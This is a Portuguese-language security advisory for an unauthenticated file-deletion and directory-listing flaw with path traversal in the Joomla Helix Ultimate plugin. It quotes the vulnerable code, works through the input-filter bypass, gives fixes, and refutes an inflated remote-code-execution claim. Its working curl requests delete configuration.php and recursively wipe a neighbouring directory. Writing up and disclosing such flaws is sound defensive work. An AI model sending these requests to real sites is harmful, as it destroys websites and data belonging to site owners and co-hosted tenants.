
Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Esta é uma vulnerabilidade confirmada de DoS + acesso ao sistema de arquivos entre inquilinos, NÃO RCE. Uma teoria de escalada RCE (excluir configuration.php para reexpor o instalador do Joomla) foi testada ao vivo e refutada — veja "Escalada RCE — testada e refutada" abaixo. Não represente isto como RCE em nenhum relatório sem primeiro derivar uma cadeia real.
Atualização de gravidade (06/07/2026, segunda passagem): o parâmetro path NÃO está contido de forma segura na raiz web do Joomla como avaliado inicialmente — o filtro de entrada PATH do Joomla não bloqueia um único componente de travessia /../, então este bug alcança (leitura: listagem completa de diretórios; escrita: excluir arquivo ou apagar recursivamente o conteúdo da pasta) qualquer coisa no sistema de arquivos que o usuário do servidor web possa acessar, não apenas arquivos dentro da instalação do Joomla. Em qualquer layout de hospedagem compartilhada onde vários sites/inquilinos existam como diretórios irmãos sob o mesmo usuário do SO (extremamente comum: "addon domains" do cPanel, assinaturas Plesk compartilhando um usuário do sistema, hospedagem econômica), um único site baseado em Helix-Ultimate permite que um visitante anônimo destrua todos os outros sites na mesma conta. Veja "Path traversal escapa do JPATH_ROOT completamente" abaixo para a prova ao vivo.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), empacotado com praticamente todos os templates Joomla da JoomShaper (baseados em Helix Ultimate).
Versão testada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD em 06/07/2026, último push 30/06/2026)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php expõe deleteMedia(), getFolders() e createFolder() através do hook de dispatch com_ajax do Joomla em helixultimate.php::onAfterRoute(). Esses três métodos apenas chamam Session::checkToken() (uma verificação CSRF simples, satisfeita pelo próprio token de sessão de qualquer visitante anônimo — obtido a partir do HTML da página inicial do site) — nenhuma verificação authorise() / login. Isso é inconsistente com o método irmão uploadMedia() na mesma classe, que corretamente requer core.edit em com_templates.
Por ser um plugin de sistema, onAfterRoute() é disparado em toda requisição independentemente de qual template está ativo — o caminho de código vulnerável é acessível enquanto o plugin estiver instalado e habilitado (o que acontece por padrão em qualquer site que use um template baseado em Helix-Ultimate da JoomShaper).
plugins/system/helixultimate/helixultimate.php (linhas ~464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // tem verificação core.create/com_media
case 'remove-blog-image': Blog::remove_image(); break; // tem verificação core.delete/com_media
case 'view-media': Media::getFolders(); break; // SEM verificação authorise()
case 'delete-media': Media::deleteMedia(); break; // SEM verificação authorise()
case 'upload-media': Media::uploadMedia(); break; // tem verificação core.edit/com_templates
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← apenas CSRF, sem authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursivo
}
$path passa pelo filtro de entrada PATH do Joomla (InputFilter::cleanPath()). Duas coisas independentes tornam isso perigoso:
path é resolvido diretamente sob JPATH_ROOT, portanto qualquer caminho absoluto a partir da raiz (/configuration.php, /administrator/..., /media/...) já está acessível.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) permite exatamente uma execução de caracteres ponto/hífen/alnum posicionada logo após o bloco inicial [A-Za-z0-9_/-]+ — e uma barra / inicial sozinha satisfaz esse bloco inicial, então uma string como /../sibling_dir corresponde limpa: / (bloco 1), .. (a execução de pontos permitida), (um segmento final normal). O filtro foi escrito para rejeitar um segmento que um novo componente com um ponto, mas nunca previu um único sentado diretamente após o primeiro caractere da string. Encadear NÃO sobrevive (cada segmento subsequente após a primeira execução de pontos deve começar com um caractere não-ponto) — então a fuga é limitada exatamente a nível de diretório acima de , mas tudo abaixo desse nível (profundidade arbitrária) é então alcançável normalmente, já que os segmentos seguintes são apenas componentes de caminho comuns sem pontos.configuration.php → paralisação instantânea e total do site (erro fatal "Nenhuma configuração"), uma requisição HTTP, autenticação zero.type=folder) → ex.: /administrator, /components, /media → muito mais destrutivo, efetivamente destrói a instalação.view-media (Media::getFolders()): lista todos os arquivos de imagem, todos os nomes de subpastas e caminhos absolutos do servidor sob qualquer caminho relativo à raiz, sem necessidade de autenticação (usado abaixo como sinal de detecção seguro).Testado contra uma instância Docker descartável (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, instalação nova, sessão de navegador completamente anônima — sem login, sem cookie além do que o Joomla distribui para todos os visitantes):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
Criado um diretório irmão da raiz web do Joomla (/var/www/canary_sibling, irmão de /var/www/html), de propriedade do mesmo usuário que o servidor web (www-data) para espelhar um layout realista de hospedagem compartilhada, populado com um arquivo, uma imagem e um subdiretório:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
Leitura/enumeração completa de um diretório completamente fora da instalação do Joomla, incluindo caminhos absolutos resolvidos do servidor, com autenticação zero.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
Resultado: todos os arquivos dentro de canary_sibling (o arquivo simples, a imagem e o subdiretório) foram excluídos. Apenas a pasta canary_sibling de nível superior agora vazia sobreviveu, e apenas porque neste laboratório ela estava diretamente sob /var/www, de propriedade de root — remover a entrada do diretório vazio requer permissão de escrita em seu pai, que www-data não tem em /var/www. Em um layout real de hospedagem compartilhada (ex.: /home/user/domains/siteA.com/public_html e /home/user/domains/siteB.com/public_html como verdadeiros irmãos, ambos de propriedade do mesmo usuário da conta), essa última barreira não existe e toda a árvore de diretórios do site irmão é removível.
A teoria óbvia seguinte foi: em um site onde installation/ nunca foi removido após a configuração, excluir configuration.php tornaria o assistente de instalação acessível novamente, permitindo que um invasor o completasse e criasse um novo Super Usuário. Isso foi testado diretamente no laboratório e não se sustenta:
installation/ foi copiada de volta para a raiz web (simulando um site que esqueceu de removê-la) — configuration.php ainda estava presente e válido neste ponto.302 Found -> /installation/index.php para todas as requisições, incluindo o POST do próprio exploit para option=com_ajax&helix=ultimate&...&action=delete-media. O caminho de código vulnerável nunca executa neste estado — o núcleo do Joomla faz um curto-circuito em tudo primeiro.installation/ estiver presente: o site já está completamente aberto a takeover para qualquer visitante, independentemente desta vulnerabilidade — isso é uma configuração incorreta pré-existente e não relacionada do Joomla, não algo que este bug cause ou seja necessário.installation/ estiver ausente (o estado normal e seguro): esta vulnerabilidade só pode excluir arquivos, não pode criar a pasta installation/ de volta — não há como reexpor o instalador a partir de uma primitiva apenas de exclusão.Conclusão: nenhuma combinação de estados transforma isso em RCE. O teto de impacto confirmado e honesto é DoS total do site não autenticado, incondicional e garantido (mais a divulgação de informações não autenticada observada acima). Isso já é uma descoberta de gravidade Crítica por seus próprios méritos e não precisa de uma alegação inflada de RCE.
createFolder() NÃO é acessível sem autenticação (rascunho anterior estava errado)Uma versão anterior deste relatório afirmava que Media::createFolder() também era acessível sem autenticação (como uma terceira primitiva junto com exclusão/leitura). Isso estava incorreto e foi corrigido após uma passagem completa pela fiação de dispatch do plugin:
createFolder(), e os sinks reais de escrita de conteúdo de arquivo na base de código (Request.php: fwrite(), File::write() para estilo de template/webfonts/cache CSS), todos residem em plugins/system/helixultimate/src/Platform/Request.php, despachados apenas via Platform::handleRequests() <- onAfterRespond().onAfterRespond() exige explicitamente $this->app->isClient('administrator'), e onAfterRoute() redireciona separadamente qualquer visitante não logado antes desse ponto. Este caminho é genuinamente autenticado por admin — confirmado lendo a condição de bloqueio exata, não apenas a ausência de uma chamada authorise() dentro do próprio método (ao contrário dos deleteMedia()/getFolders() do lado do site, que realmente não têm nenhum bloqueio).Conjunto de capacidades não autenticadas confirmado, final: apenas exclusão (arquivo ou pasta recursiva) + leitura (listagem de pasta/imagem). Nenhuma primitiva de escrita de conteúdo não autenticada existe em qualquer lugar deste plugin. Esta é precisamente a razão pela qual nenhuma cadeia RCE foi encontrada mesmo após uma caça específica — RCE fundamentalmente precisa de uma primitiva de escrita, e esta classe de bug não tem uma.
helix_ultimate_detect.pyNão destrutivo. Usa action=view-media (listagem de pasta/arquivo) como sinal de prova — nunca exclui nada.
helix_ultimate_delete_poc.py (nome mantido por continuidade; confirma apenas DoS)Destrutivo. Requer --delete <path> explícito para tocar qualquer coisa. A flag --rce exclui configuration.php e sonda /installation/ apenas para verificar se essa pasta já está presente (caso em que o site estava independentemente aberto independentemente deste bug) — não representa uma escalada real causada por esta vulnerabilidade; veja "Escalada RCE — testada e refutada" acima. Use apenas com autorização por escrito.
Duas correções independentes são necessárias, qualquer uma delas sozinha já pararia isso:
uploadMedia() já possui a deleteMedia() e getFolders() em src/Platform/Media.php — no mínimo core.edit/core.delete em com_templates (ou com_media, seguindo o padrão de Blog::remove_image()), antes de realizar qualquer operação no sistema de arquivos.Amin İsayev / Proxima Cyber Security — 2026. Uso educacional / testes autorizados apenas.
/sibling_dir/…..../../../…JPATH_ROOTisClient('site')) em onAfterRoute() apenas conecta cinco ações: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, que verifica core.edit/com_templates). create-folder não está entre elas.